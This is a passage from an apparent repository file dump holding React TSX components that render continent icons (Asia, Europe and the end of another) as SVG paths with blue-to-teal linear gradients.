5.983-1.645-1.806-8.856-22.5-11.711-22.936-2.856-.436-5.388-6.452-7.485-7.355-2.097-.903-3.469.452-7.211.452-3.743 0-4.049-3.017-5.711-2.855-1.661.16-3.742-.888-6.581-1.194-2.839-.306-5.178-5.468-6.985-3-1.807 2.468 2.129 6.92 5.727 8.887 3.597 1.968 4.839-.403 7.323.355s3.743 4.968 2.404 8.726c-1.339 3.758-4.969 5.726-9.147 7.533-4.178 1.806-7.033 3.226-7.92-2.307-.887-5.532-12.486-15.387-13.841-17.194-1.355-1.806-1.387-5.387-3.226-4.936-2.501.533-4.017 2.21-3.565 2.952.451.742 6.452 11.388 12.276 15.162 4.678 2.984 6.307 10.226 8.243 12.758 1.419 1.871 5.146 1.081 8.566.13a2.646 2.646 0 013.323 3c-2.388 11.823-17.551 19.774-19.164 26.113-1.791 7.049 2.403 15.598 1.5 19.211-.904 3.613-9.76 4.032-10.502 7.5-.742 3.468 5.227 6.161.726 8.549-2.581 1.338-2.339-2.565-3.726 2.242-2.42 8.419-13.793 12.452-17.858 13.484-4.065 1.032-7.178-.436-6.146-3.226 1.033-2.79-2.839-13.21-7.646-16.662-4.807-3.452-4.84-8.065-1.613-19.5 3.226-11.436-12.744-10.033-8.84-19.646 3.904-9.614-3.307-8.856-7.808-12.904-4.5-4.048-16.631 15.855-30.181-3.984-13.55-19.84 6.904-33.291 10.05-35.388 3.145-2.097 8.855-9.452 10.356-9.017 1.5.436 11.082-1.935 14.518-3.145s9.146-1.79 10.05 0c.903 1.79-3.743 1.065-1.21 4.21s25.81 5.242 30.456 4.839c4.646-.404 5.711.596 7.485-4.21 1.774-4.807-7.953-4.339-10.631-3.904-2.677.436-2.694-5.645-6.452-1.322-1.613 1.952-4.84-2.21-5.098-5.387-.258-3.178-9.001-7.081-10.517-4.678-1.517 2.403 6.839 3.726 7.049 4.839.129.532-1.5 2.694-2.404 4.355-.903 1.661-1.193 0-1.032-1.5.161-1.5-4.29-2.42-5.92-4.355-1.63-1.936-5.727-3.016-9.502-1.79-3.774 1.225-3.887 1.742-7.485 5.483-3.597 3.743-10.372 2.759-11.291 2.162-.92-.597.919-4.839 1.355-7.323.435-2.484 5.113-.92 7.646-.177 2.532.742 2.403-1.049 1.968-3.742-.436-2.694.597-3.968 2.097-4.275 1.5-.306 8.969-1.29 12.292-4.742 2.581-2.661 6.76-.742 8.856-.742 2.097 0 8.808-.887 9.889-8.065.274-1.79.758-3.613-2.21-1.613a10.244 10.244 0 00-4.824 5.29c-.903 2.243-8.227 1.388-10.872-.112-2.646-1.5.758-3.032 8.291-8.29 7.534-5.259 18.164 2.66 20.794 2.274 2.629-.387 10.114-8.065 10.114-8.065a106.466 106.466 0 0156.509 34.277 106.445 106.445 0 0125.39 61.016z\"\n      ></path>\n      <path\n        fill=\"url(#paint1_linear_5250_15554)\"\n        d=\"M72.43 21.774c.242 0 4.243-1.92 4.55-1.145.306.774-1.372 3.226-2.275 3.532-.904.307-4.195.968-4.26.42-.064-.549 1.985-2.807 1.985-2.807z\"\n      ></path>\n      <path\n        fill=\"url(#paint2_linear_5250_15554)\"\n        d=\"M80.835 17.05s1.193-1.194 1.968-.84c.774.355 3 4.84 3 4.84s-5.388 3.225-6.743 2.919c-1.355-.307 2.307-4.71 1.775-6.92z\"\n      ></path>\n      <path\n        fill=\"url(#paint3_linear_5250_15554)\"\n        d=\"M197.722 89.63a15.343 15.343 0 000 5.113c.307.871 1.614-.403 1.888-.887.275-.484-1.678-4.339-1.888-4.226z\"\n      ></path>\n      <path\n        fill=\"url(#paint4_linear_5250_15554)\"\n        d=\"M146.796 136.955a1.296 1.296 0 00-.613.887c-.242 1.742.29 4.145-.452 5.403-.742 1.259-3.339 6.662-2.178 8.065 1.162 1.403 4.34 2.323 5.243.823.904-1.5 9.856-22.291 6.743-22.291-2.081 0-.323 2.5-3.226 3.984-2.097 1.08-4.501 2.468-5.517 3.129z\"\n      ></path>\n      <path\n        fill=\"url(#paint5_linear_5250_15554)\"\n        d=\"M22.003 171.295A106.125 106.125 0 010 106.487C0 99.447.69 92.423 2.065 85.518h.08c0 2.936.259 21.21 4.34 23.001 4.42 1.919 12.389 5.113 12.905 10.355s-2.517 12.049-1.613 14.984c.903 2.936 2.258 13.082 1.613 14.517-.645 1.436-3.113 1.032-1.984 4.452 1.129 3.419 4.84 11.581 4.84 13.742a26.036 26.036 0 01-.243 4.726z\"\n      ></path>\n      <path\n        fill=\"url(#paint6_linear_5250_15554)\"\n        d=\"M145.989 205.409a106.935 106.935 0 01-61.67 5.242 11.649 11.649 0 016.194-3.226c3.775-.581 21.875-.581 25.069-1.145 3.194-.565 12.437-3.371 14.873-2.258a12.1 12.1 0 007.162 1.693c2.629-.306 7.485.049 8.372-.306z\"\n      ></path>\n      <defs>\n        <linearGradient\n          id=\"paint0_linear_5250_15554\"\n          x1=\"42.352\"\n          x2=\"212.66\"\n          y1=\"85.062\"\n          y2=\"85.062\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint1_linear_5250_15554\"\n          x1=\"70.444\"\n          x2=\"77.016\"\n          y1=\"22.618\"\n          y2=\"22.618\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint2_linear_5250_15554\"\n          x1=\"78.757\"\n          x2=\"85.803\"\n          y1=\"20.067\"\n          y2=\"20.067\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint3_linear_5250_15554\"\n          x1=\"197.507\"\n          x2=\"199.637\"\n          y1=\"92.334\"\n          y2=\"92.334\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint4_linear_5250_15554\"\n          x1=\"143.259\"\n          x2=\"156.194\"\n          y1=\"141.372\"\n          y2=\"141.372\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint5_linear_5250_15554\"\n          x1=\"0\"\n          x2=\"22.266\"\n          y1=\"128.407\"\n          y2=\"128.407\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint6_linear_5250_15554\"\n          x1=\"84.319\"\n          x2=\"145.989\"\n          y1=\"208.369\"\n          y2=\"208.369\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/continents/as.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Asia(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"213\"\n      height=\"213\"\n      fill=\"none\"\n      viewBox=\"0 0 213 213\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        fill=\"#FFFFFF\"\n        d=\"M213.003 106.562a106.13 106.13 0 01-20.854 63.336 34.038 34.038 0 01-1.161 1.517c-.403.501-.468.614-.694.888a109.13 109.13 0 01-2.435 3.002c-.823.985-1.613 1.937-2.516 2.873-.565.63-1.129 1.259-1.726 1.873l-1.79 1.824-1.823 1.791-.919.84a106.43 106.43 0 01-39.957 23.405 106.368 106.368 0 01-89.64-11.556 106.499 106.499 0 01-32.726-32.777A106.606 106.606 0 015.285 73.859a106.547 106.547 0 0123.42-39.97A106.446 106.446 0 0166.863 7.652 105.554 105.554 0 01106.524 0c1.354 0 2.693 0 4.048.096 6.637.23 13.236 1.096 19.709 2.583a106.762 106.762 0 0124.708 8.974 106.482 106.482 0 0142.371 39.272 106.589 106.589 0 0115.643 55.636z\"\n      ></path>\n      <path\n        fill=\"url(#paint0_linear_5250_15448)\"\n        d=\"M160.405 37.235a.098.098 0 01-.003.048.13.13 0 01-.023.043.116.116 0 01-.086.038c-.742 0-4.71 0-5.565-1.888a11.018 11.018 0 00-4.129-4.423c-1.742-1.162-4.193-9.12-6.032-5.39a3.346 3.346 0 00.791 3.921.86.86 0 01.38.631.854.854 0 01-.251.693c-.839 1.13-1.887 1.097-3.71 1.614-1.822.517-3.226 8.651-1.613 8.296 1.613-.355 3.661-1.84 5.919-1.065 2.258.775 11.29 6.263 8.161 8.603-.548.42-4.645-3.76-5.967-4.18-.903-.307 1.113 2.857 1.419 3.841a18.513 18.513 0 01-2.806 17.626c-1.178 1.71 4.113 3.55 3.919 5.924-.194 2.372-1.613 5.149-2.951 4.68-1.339-.468-.129-4.148-2.017-5.165-1.887-1.016-5.273-5.02-6.757-2.76s-3.323 7.683-1.129 8.878c2.193 1.194 5.612 1.243 6.338 6.456s-4.983 20.757-12.903 22.952c-7.919 2.195-7.29 4.471-4.612 6.892 2.677 2.421 7.628 9.685 1.774 13.801-5.855 4.116-5.581-1.614-9.467-2.954-3.887-1.34-4.307 4.342-1.775 7.086 2.533 2.744 7.597 5.391 7.468 8.603-.129 3.212-1.613 1.921-3.839.984-2.225-.936-1.903-3.857-5.096-5.988-3.194-2.13-1.726-7.118-3.726-10.943-2-3.826-5.548-2.857-8.064-5.343-2.516-2.486-.532-5.649-3.323-8.619-2.79-2.97-8.628-5.02-11.386-.178a26.44 26.44 0 01-9.58 9.846c-3.065 1.776 1.21 6.457-1.403 9.975a13.542 13.542 0 01-3.904 3.697.92.92 0 01-1.306-.485c-1.484-3.777-6.967-18.255-6.451-23.63.596-6.214-14.71-7.199-19.903-10.62-5.193-3.422-9.064-14.414-10.693-13.14-1.629 1.276-1.468 14.221 2 14.043a21.145 21.145 0 015.629.355c.29.388 4.355 5.763.161 9.685-4.193 3.922-16.047 8.361-18.031 6.731-1.984-1.631-1.097-29.054-3.468-31.184-2.37-2.13-1.822 15.14-1.822 18.981 0 3.842.967 13.3 2.741 14.317 1.774 1.017 8.92 4.762 10 2.922 1.08-1.84-.177 14.526-9.096 20.047-8.92 5.52 2.548 23.162 3.822 26.438.984 2.534 1.855 9.685 2.435 12.816.081.436 0 .387-.338 0A106.53 106.53 0 017.4 145.5 106.598 106.598 0 019.15 63.262 106.526 106.526 0 0133.362 29.02c.307-.113 29.031-10.314 31.386-7.554 2.355 2.76-4.532 10.071 0 9.038 4.532-1.033 12.5-4.164 14.516-2.437 2.016 1.727 4.177-1.065 8.064-2.26 3.887-1.194 12.903-4.697 13.209-4.842 5.19.717 10.454.717 15.644 0 7.387-1.194 18.258-9.232 23.258-7.57 4.999 1.663 8.354 2.938 9.773 5.762 1.42 2.825.097 4.714 1.5 6.23 1.403 1.518 3.565 2.97 5.097 4.617 1.532 1.646 4.161 5.31 4.596 7.231z\"\n      ></path>\n      <path\n        fill=\"url(#paint1_linear_5250_15448)\"\n        d=\"M155.196 52.022s1.984 1.936 1.387 2.92c-.597.986.661 4.117 1.258 4.65a5.533 5.533 0 01.742 5.439c-1.064 2.26-1 4.18-2.322 5.165-1.323.985-3.92 4.52-2.791 6.182 1.129 1.662 2.162 4.245 2.645 3.583.484-.662-.322-3.519.871-5.504 1.194-1.985 3.774-2.728 5.371-4.987a5.585 5.585 0 00.661-6.166c-.935-2.066-3.403-5.44-4.58-5.504-1.177-.065-1.081-.807 0-1.614 1.08-.807 1.79.129 2.258-1.856.468-1.986-.194-1.47-.661-2.922-.468-1.453-1.452.404-2.855 0-1.403-.403-2.113-1.049-1.984.614z\"\n      ></path>\n      <path\n        fill=\"url(#paint2_linear_5250_15448)\"\n        d=\"M135.1 139.731c-.806 1.727-1.726 4.487 0 6.343 1.726 1.857 10.032 4.73 12 2.648 1.967-2.083 1.838-8.071 3.693-9.685 1.855-1.614-1.968-4.374-1.677-6.472.29-2.099-1.371-5.537-3.452-4.036-2.08 1.501-3.354 7.151-5.661 8.426a348.284 348.284 0 00-4.903 2.776z\"\n      ></path>\n      <path\n        fill=\"url(#paint3_linear_5250_15448)\"\n        d=\"M171.195 134.387c1.355-2.889 4.581 2.373 6.452 0 3.129-3.809 12.532-3.696 14.644-.759 1.613 2.196 1.097 4.843 3.129 5.876 2.032 1.033 2.758 2.211 0 2.76-2.758.548-4.225-4.956-6.258-2.195a7.135 7.135 0 01-6.064 3.486c-2.758.371 0-2.566-1.467-3.68-1.468-1.114-6.661.549-7.581-1.098-.919-1.646-4.387-1.097-2.855-4.39z\"\n      ></path>\n      <path\n        fill=\"url(#paint4_linear_5250_15448)\"\n        d=\"M192.13 169.962s2.645-6.457 1.613-9.685c-1.032-3.228-6.451-9.297-6.451-12.493 0-3.196-1.71-.791-1.968 3.519-.258 4.31-.258 7.15-2.581 6.844-2.322-.307-3.225-2.89-3.87-5.036-.645-2.147-6.452-3.874-7.758 0s-10.419 13.574-15.499 16.786c-5.081 3.212-13.161 3.551-11.871 10.185 1.29 6.634 2.839 10.346 2.145 10.863-.693.516-.435 1.614 4.129-.872 4.564-2.486 18.919-11.202 20.741-8.7a8.067 8.067 0 008.29 3.099 106.596 106.596 0 0013.08-14.51z\"\n      ></path>\n      <path\n        fill=\"url(#paint5_linear_5250_15448)\"\n        d=\"M33.443 166.685s3.226-1.92 3.226-3.438c0-1.517.726-.452 2.048 2.05 1.323 2.502.726 3.422 1.371 6.586.645 3.163 2.774 7.586 2.048 7.909-.725.322-5.467-2.115-6.258-5.198-.79-3.083-.451-3.018-2.032-5.052-1.58-2.033-1.306-2.114-.403-2.857z\"\n      ></path>\n      <path\n        fill=\"url(#paint6_linear_5250_15448)\"\n        d=\"M79.554 133.049c0 1.937-.839 6.456 1.37 5.197 2.21-1.259 1.614-1.614 1.162-3.099a31.245 31.245 0 00-2-3.712c-.322-.726-.468.258-.532 1.614z\"\n      ></path>\n      <path\n        fill=\"url(#paint7_linear_5250_15448)\"\n        d=\"M105.134 139.232s9.225 8.07 9.306 9.41c.08 1.34 10.967 8.958 12.515 8.409 1.549-.549 1.613-3.664.903-5.116-.709-1.453-8.064-4.213-9.209-5.214a47.204 47.204 0 00-5.225-3.987c-1.823-1.065-7.484-5.407-8.29-3.502z\"\n      ></path>\n      <path\n        fill=\"url(#paint8_linear_5250_15448)\"\n        d=\"M131.681 156.58c-.21-.129.887-1.21 1.613-2.098.725-.888 4.838.646 7.677.404 2.838-.242 12.902-1.437 14.515-1.76 1.613-.323 3.452-.952 3.855 0 .403.953-5.693 4.342-9.677 3.939-3.984-.404-15.548.871-17.983-.485z\"\n      ></path>\n      <path\n        fill=\"url(#paint9_linear_5250_15448)\"\n        d=\"M110.569.097c0 .339-5.951 2.05-8.58 2.954-3.387 1.178-7.774 1.017-9.129 2.55-1.355 1.533-6.935 3.05-10.322 2.89-3.387-.162-14.387 2.695-16.757 3.018-2.371.322.806-3.487 1.112-3.858A105.553 105.553 0 01106.521 0c1.354 0 2.693.015 4.048.096z\"\n      ></path>\n      <path\n        fill=\"url(#paint10_linear_5250_15448)\"\n        d=\"M154.696 11.993c-.484 1.162-3.613 1.017-5.484 1.146-1.871.13-6.096-4.842-7.048-4.342-.951.5-4.596.097-6.741 0-1.855-.032-4.549-4.552-5.291-5.859a.177.177 0 01.004-.168.178.178 0 01.142-.09c8.822 1.775 19.918 5.988 24.386 9.313h.032z\"\n      ></path>\n      <path\n        fill=\"url(#paint11_linear_5250_15448)\"\n        d=\"M23.846 141.811l4.952-4.842c.323.339-3.661 3.583-3.5 3.745l2.516-2.437\"\n      ></path>\n      <path\n        fill=\"url(#paint12_linear_5250_15448)\"\n        d=\"M79.763 119.763c.452.452 8.065-8.425 8.371-8.07.306.355-6.838 5.988-6.225 6.618a65.315 65.315 0 004.838-4.649s-4.226 3.761-4 4.003c0 0 3.13-3.502 3.355-3.228\"\n      ></path>\n      <defs>\n        <linearGradient\n          id=\"paint0_linear_5250_15448\"\n          x1=\"0\"\n          x2=\"160.407\"\n          y1=\"97.111\"\n          y2=\"97.111\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint1_linear_5250_15448\"\n          x1=\"153.193\"\n          x2=\"163.653\"\n          y1=\"65.455\"\n          y2=\"65.455\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint2_linear_5250_15448\"\n          x1=\"134.121\"\n          x2=\"151.303\"\n          y1=\"138.804\"\n          y2=\"138.804\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint3_linear_5250_15448\"\n          x1=\"170.81\"\n          x2=\"197.227\"\n          y1=\"137.529\"\n          y2=\"137.529\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint4_linear_5250_15448\"\n          x1=\"143.608\"\n          x2=\"193.982\"\n          y1=\"168.976\"\n          y2=\"168.976\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint5_linear_5250_15448\"\n          x1=\"32.713\"\n          x2=\"42.285\"\n          y1=\"171.183\"\n          y2=\"171.183\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint6_linear_5250_15448\"\n          x1=\"79.398\"\n          x2=\"82.515\"\n          y1=\"134.827\"\n          y2=\"134.827\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint7_linear_5250_15448\"\n          x1=\"105.134\"\n          x2=\"128.293\"\n          y1=\"147.917\"\n          y2=\"147.917\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint8_linear_5250_15448\"\n          x1=\"131.655\"\n          x2=\"159.36\"\n          y1=\"154.922\"\n          y2=\"154.922\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint9_linear_5250_15448\"\n          x1=\"64.908\"\n          x2=\"110.569\"\n          y1=\"5.764\"\n          y2=\"5.764\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint10_linear_5250_15448\"\n          x1=\"130.113\"\n          x2=\"154.696\"\n          y1=\"7.911\"\n          y2=\"7.911\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint11_linear_5250_15448\"\n          x1=\"23.846\"\n          x2=\"28.817\"\n          y1=\"139.39\"\n          y2=\"139.39\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n        <linearGradient\n          id=\"paint12_linear_5250_15448\"\n          x1=\"79.763\"\n          x2=\"88.144\"\n          y1=\"115.731\"\n          y2=\"115.731\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#085078\"></stop>\n          <stop offset=\"1\" stopColor=\"#85D8CE\"></stop>\n        </linearGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/continents/eu.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Europe(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"213\"\n      height=\"213\"\n      fill=\"none\"\n      viewBox=\"0 0 213 213\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        fill=\"#FFFFFF\"\n        d=\"M213 106.492a106.621 106.621 0 01-23.473 66.66 106.54 106.54 0 01-59.996 37.317 106.502 106.502 0 01-70.142-8.431 106.568 106.568 0 01-49.451-50.473A106.709 106.709 0 0122.004 41.698c3.5-4.554 7.357-8.823 11.534-12.765A106.445 106.445 0 01104.14.026a106.442 106.442 0 0171.807 25.76 106.37 106.37 0 0127.348 36.3A106.418 106.418 0 01213 106.492z\"\n      ></path>\n      <path\n        fill=\"url(#paint0_linear_5250_15504)\"\n        d=\"M213 106.49c.016 11.52-1.928 22.879-5.587 33.802-1.613-2.695-.672-10.337-.672-10.337a31.169 31.169 0 00-7.292 13.184c-2.322 8.392-4.097 9.99-4.839 9.457-.742-.532-.194-7.488-1.613-9.812-1.42-2.323.177-5.519-2.678-5.874-2.855-.355-1.613-5.003-6.759-5.358-5.146-.355-5.533-1.42-9.808-2.485-3.355-.823-4.178-4.405-4.388-5.922a.454.454 0 00-.085-.215.457.457 0 00-.404-.193.463.463 0 00-.22.069c-.952.645-2.549 2.356-2.033 6.455.71 5.713 1.613 6.584 4.63 5.164 3.016-1.42 6.065-2.856 7.501 2.324s-4.259 7.585-8.614 11.522c-4.356 3.938-11.421 5.358-12.486 2.663a42.998 42.998 0 00-6.049-10.328c-2.678-3.228-3.388-11.297-4.275-12.475-.887-1.178-6.598-.355-3.226 2.857 3.371 3.211 5.355 14.427 7.84 17.09 2.484 2.662 1.419 8.214 7.113 9.101 5.695.888 13.551-10.876 9.453-1.081-4.097 9.796-15.744 18.898-18.599 22.464-2.855 3.567.71 10.893-2.129 11.942-2.839 1.049-7.485 4.842-8.744 8.069-1.258 3.228-12.098 7.472-14.421 9.441-2.323 1.969-8.066.533-10.324-1.791-2.258-2.324-9.679-6.456-5.888-12.652 3.791-6.197 0-13.008-2.678-16.752-2.678-3.744 1.791-7.665-1.419-6.955-3.211.71-3.92-1.791-7.13-3.922-3.21-2.13-16.132 1.259-22.972 0-6.84-1.258-10.533-16.767-12.308-23.222-1.774-6.455 10.615-14.234 11.13-17.752.517-3.518 2.969-6.31 8.534-6.875 5.566-.564 20.31-4.05 23.633-3.728 3.323.323 9.679 10.845 13.018 10.926 3.339.081 3.226-2.098 4.597-3.647 1.371-1.55 11.696 3.857 14.341 2.759 2.646-1.097 4.839-.452 7.146-2.259 2.307-1.807 2.017-5.035 1.613-7.843-.403-2.808-2.097-.694-4.839.161a7.244 7.244 0 01-7.227-1.468c-1.855-1.711 0-3.034 1.097-6.149 1.097-3.114 3.872-2.017 6.453-3.808 2.581-1.792 7.694 2.324 11.888.548 4.195-1.775-5.516-4.357-6.759-7.31-1.242-2.953-8.823-3.647-11.292-.339-2.468 3.308-.709 3.228-1.613 5.89-.903 2.663.629 2.695-.468 3.89-1.096 1.194-1.903-.614-4.242.71-2.339 1.323.581 6.051-2.258 7.907-2.84 1.856-3.453-4.551-3.759-7.343-.307-2.791-3.049-4.502-5.178-5.729-2.13-1.226-5.743-7.536-8.663-5.18s1.775 4.019 2.92 5.616c1.145 1.598 4.92 2.824 6.549 3.357a2.132 2.132 0 011.613 2.437c0 .435-.903.355-1.839.258-.935-.097-2.21-.533-1.419 1.146.79 1.678-.178 2.259-.839 3.324s-1.855.662-1.387-1.242c.468-1.905-2.42-5.213-5.162-6.181-2.743-.969-4.033-6.681-6.453-6.262-2.42.42-2.758 1.469-6.452 1.759-.904 0-1.823-.436-1.79 0a.922.922 0 010 .452c-.598 4.938-3.227 5.229-5.534 6.843-2.307 1.613-1.613 4.502-3.5 6.455-1.888 1.952-16.132 3.227-11.793-3.922 4.34-7.149-3.048-6.971 2.05-9.683 5.097-2.71 10.34-.145 11.194-4.357.855-4.212-3.048-.452-4.645-4.841-1.597-4.39 7.42-5.987 10.372-7.585 2.952-1.598 1.855-5.52 4.63-4.648 2.774.872 4.678-2.856 2.677-5.164-2-2.308 2.694-6.778 3.856-5.325 1.919 2.436-1.436 4.438-.871 8.73.403 3.228 2.613 2.486 5.823 2.776 3.21.29 10.486-6.455 12.647-9.166 2.162-2.712 1.468-4.374 3.791-4.955 2.323-.58 5.098-3.647 3.339-5.1-1.758-1.452-4.517.872-7.694 1.614-3.178.743-2.485-1.162-3.065-4.212-.581-3.05 1.161-2.92 3.226-5.083 2.065-2.163 3.049-4.083.887-3.792a10.98 10.98 0 00-7.42 5.1c-2.485 3.469-1.613 5.066-.452 8.568.597 1.84 1.387 4.164.21 5.89-1.178 1.727-1.097 2.631-3.227 4.245-3.484 2.743-4.484-1.243-4.371-3.954.129-3.889-1.484-4.034-2.726-4.18-1.242-.145-3.049 2.34-5.775 3.228-4.372 1.356-2.597-3.954-3.388-7.165-.79-3.212 9.582-7.375 11.55-14.218A18.24 18.24 0 01116.905 36.5c4.323-1.388 8.776.726 11.841 1.114 6.452.806 9.678 9.682 13.227 9.682 3.549 0 14.98-7.55 17.222-12.489 1.613-3.599 14.781-8.741 16.694-9.08 11.616 10.006 21.087 22.381 27.466 36.326A106.42 106.42 0 01213 106.49z\"\n      ></path>\n      <path\n        fill=\"url(#paint1_linear_5250_15504)\"\n        d=\"M82.077 66.436c1.178-.403 3.033.856 3.227.856.193 0-.42 5.97 1.274 7.488 1.694 1.517 1.758 4.841 2.855 4.131s3.033-.42 2.613 1.275c-.419 1.694-4.549 2.727-5.79 3.324-1.243.598-3.888 1.808-4.84 2.47-.952.661 1.436-4.051 2.58-4.842.695-.452-1.612-1.259-1.612-2.695.105-1.152.36-2.286.758-3.373.113-.645-2.5-2.824-3.13-3.953-.629-1.13.872-4.245 2.065-4.68z\"\n      ></path>\n      <path\n        fill=\"url(#paint2_linear_5250_15504)\"\n        d=\"M77.706 75.038c.484-.371 1.194-1.065 1.92-.775.725.29 1.032 1.614.967 2.356-.064.743-.903 1.356-.903 2.228 0 .871.71 2.791-.42 3.114-1.129.323-3.113.355-3.532 1.13-.42.774-1.613.968-1.807.161a2.552 2.552 0 01.484-2.485c.742-.742.097-.984-.161-2.082a2.115 2.115 0 01.516-2.13c.452-.517.71.968 1.42.452.439-.705.947-1.364 1.516-1.969z\"\n      ></path>\n      <path\n        fill=\"url(#paint3_linear_5250_15504)\"\n        d=\"M154.588 17.698s-2.597 2.211-3.597 2.098c-1.001-.113-2.985 2.001-2.985 3.099 0 1.097.097 3.808 0 5.6-.096 1.79-.613 3.405 1.484 3.905s5.808 2.404 6.098 1.404c.29-1-4.017-2.808-3.855-6.1.161-3.292.564-5.907 2.661-6.794 2.097-.888 2.598-1.711 1.694-2.502-.903-.79-.048-1.807-1.5-.71z\"\n      ></path>\n      <path\n        fill=\"url(#paint4_linear_5250_15504)\"\n        d=\"M82.093 9.679c-2.161 3.84-9.566 8.876-10.776 12.91-1.21 4.035-3.064 14.654-9.678 18.753-6.614 4.099-19.261 8.407-22.149 14.41-2.887 6.004-2.145 11.297-4.307 10.555-2.161-.743-8.904-7.908-6.243-15.605 2.662-7.698 7.92-8.07 7.679-14.525-.21-6.245-2.904-7.213-3.226-7.294a106.169 106.169 0 0137.924-22.98s12.938-.081 10.776 3.776z\"\n      ></path>\n      <path\n        fill=\"url(#paint5_linear_5250_15504)\"\n        d=\"M16.035 73.1c0 2.162 6.727 6.455 3.614 10.667-3.114 4.212-9.679 1.34-10.566 6.148-.887 4.81 1.613 8.182-1.21 10.103A95.457 95.457 0 000 106.473a105.925 105.925 0 0122.003-64.826l.484-.21s1 6.697 1 7.65c0 .952-2.162 9.682-3.597 11.054-1.436 1.372-7.84 3.696-7.84 6.294 0 2.598 4.307-1.872 4.565 0s-.58 4.502-.58 6.665z\"\n      ></path>\n      <path\n        fill=\"url(#paint6_linear_5250_15504)\"\n        d=\"M60.558 49.877c-.532 1.372.775 3.599 0 4.583-.774.985-.21 1.614 2.097 1.453 2.307-.162 2.097 2.356 3.404 1.371a30.659 30.659 0 003.597-3.582c1.71-1.791 3.146-4.616 1.307-5.003-1.839-.387-3.404.597-4.936.597-1.533 0-3.581-1.049-4.307-.694a3.228 3.228 0 00-1.162 1.275z\"\n      ></path>\n      <path\n        fill=\"url(#paint7_linear_5250_15504)\"\n        d=\"M42.265 184.906c.755 2.118.84 4.417.242 6.585h-.145a106.73 106.73 0 01-32.424-39.926 3.613 3.613 0 00-.34-1.436.31.31 0 11.485-.387 72.501 72.501 0 007.017 6.455c3.13 2.308 6.92 2.937 8.388 8.166 1.468 5.228 2.5 3.986 6.695 5.035 4.194 1.049 12.808 2.727 12.808 7.552 0 4.826-3.904 